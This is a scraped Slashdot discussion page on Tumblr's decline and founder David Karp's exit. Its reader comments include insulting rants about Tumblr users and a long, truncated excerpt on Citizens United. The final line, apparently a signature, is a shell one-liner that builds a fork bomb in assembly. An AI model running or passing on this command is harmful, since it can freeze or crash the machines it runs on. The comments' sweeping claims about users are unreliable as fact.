Slashdot Mirror
Tumblr Is Tumbling (medium.com)
Alex Barredo, a technology writer, shares his observation on Tumblr's popularity over the past few years: Tumblr is the home of some of the most creative online personas, and now it is dying. Or so it seems. Founded on early 2007 by David Karp with a new formula for really simplified blogging, it quickly took off. With each passing quarter, most of their stats were crushing it. It was the new star of the New York tech scene. The East Coast had a good social platform after years of Californian monopoly (MySpace, Bebo, Facebook, Twitter, etc), at last. In May of 2013, Yahoo snatched it for a cool $1.1 billion: $990 million plus liabilities. Less than a year after the deal was closed, Tumblr peaked in activity. By February of 2014, there were more than 106 million new posts each day on the platform. Today that figure has been slashed by two thirds to around 35 million. David Karp, the founder of Tumblr, said today he was leaving the company. Karp founded Tumblr close to 11 years ago with Marco Arment. He wrote: I beg you to understand that my decision comes after months of reflection on my personal ambitions, and at no cost to my hopefulness for Tumblr's future or the impact I know it can have. The internet is at a crossroads of which this team can play a fundamental role in shaping. You are in the driver seat, and I am so excited to see where you go!
Tumblr is a SJW shithole. We need to teach investors that identity politics doesn't pay.
No they're not. People are idiots, lawyers even more so.
You can pass a law that oxygen is pink with green dots, that won't make it real.
#DeleteFacebook
Feminist SJW swamp.
There isn't webservice that Yahoo can't destroy it.
Support Right To Repair Legislation.
Hardly a fascist rant.
Tumblr has a large number of extremely toxic communities including ones for shoplifters and hard drugs. Their SJW community is absolutely insane with most of the members claiming a large number of mental disorders and dysphorias that are used to justify their bad behavior. You'll run into people who think it's ableist to ask them not to be a dick because they have multiple personalities and most of the personalities have cluster b personality disorders of their own. All self diagnosed, and you're oppressing them for expecting them to treat other people with respect.
Go for a stroll through the crazy weird part of tumblr you have to see it to believe it.
First they don't bother to get rid of the rape videos or pictures, and there is no way direct way to notify them of such.
Second, in an effort to make Tumblr more exclusive, they're forcing people to sign up to see most of the tumbles, specifically the ones where men and women are naked (gasp!).
Third, they recently implemented a Facebook-like process for their app which works on trending or some such, and is killing traffic to people's blogs. According to posted shots of traffic logs, folks are seeing a huge drop in site visits as a direct result.
So yeah, not surprising at all.
We will bankrupt ourselves in the vain search for absolute security. -- Dwight D. Eisenhower
That's not what CU is about
https://en.wikipedia.org/wiki/...
Justice Kennedy's majority opinion found that the BCRA section 203 prohibition of all independent expenditures by corporations and unions violated the First Amendment's protection of free speech.[28] The majority wrote, "If the First Amendment has any force, it prohibits Congress from fining or jailing citizens, or associations of citizens, for simply engaging in political speech."[29]
Justice Kennedy's opinion also noted that because the First Amendment does not distinguish between media and other corporations, the BCRA restrictions improperly allowed Congress to suppress political speech in newspapers, books, television, and blogs.[7] The Court overruled Austin, which had held that a state law that prohibited corporations from using treasury money to support or oppose candidates in elections did not violate the First and Fourteenth Amendments. The Court also overruled that portion of McConnell that upheld BCRA's restriction of corporate spending on "electioneering communications". The Court's ruling effectively freed corporations and unions to spend money both on "electioneering communications" and to directly advocate for the election or defeat of candidates (although not to contribute directly to candidates or political parties).
The majority ruled that the Freedom of the Press clause of the First Amendment protects associations of individuals in addition to individual speakers, and further that the First Amendment does not allow prohibitions of speech based on the identity of the speaker. Corporations, as associations of individuals therefore, have free speech rights under the First Amendment. Because spending money is essential to disseminating speech, as established in Buckley v. Valeo, limiting a corporation's ability to spend money is unconstitutional because it limits the ability of its members to associate effectively and to speak on political issues.
I.e. the First Amendment gives individuals a right to speech. It also gives them a right to speak when organized into a corporation.
If you look at the background SCOTUS decision you find
Section 203 of the Bipartisan Campaign Reform Act of 2002 (known as BCRA or McCain-Feingold Act) modified the Federal Election Campaign Act of 1971, 2 U.S.C. section 441b to prohibited corporations and unions from using their general treasury to fund "electioneering communications" (broadcast advertisements mentioning a candidate in any context) within 30 days before a primary or 60 days before a general election. During the 2004 presidential campaign, a conservative nonprofit 501(c)(4) organization, Citizens United, filed a complaint before the Federal Election Commission (FEC) charging that advertisements for Michael Moore's film Fahrenheit 9/11, a docudrama critical of the Bush administration's response to the terrorist attacks on September 11, 2001 and produced and marketed by a variety of corporate entities, constituted political advertising and thus could not be aired within the 30 days before a primary election or 60 days before a general election. The FEC dismissed the complaint after finding no evidence that broadcast advertisements featuring a candidate within the proscribed time limits had actually been made.[11] The FEC later dismissed a second complaint which argued that the movie itself constituted illegal corporate spending advocating the election or defeat of a candidate, which was illegal under the Taft-Hartley Act of 1947 and the Federal Election Campaign Act Amendments of 1974. In dismissing that complaint, the FEC found that:
The complainant alleged that the release and distribution of FAHRENHEIT 9/11 constituted an independent expenditure because the film expressly advocated the defeat of President Bush and that by being fully or partially responsible for the film's release, Michael Moore a
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;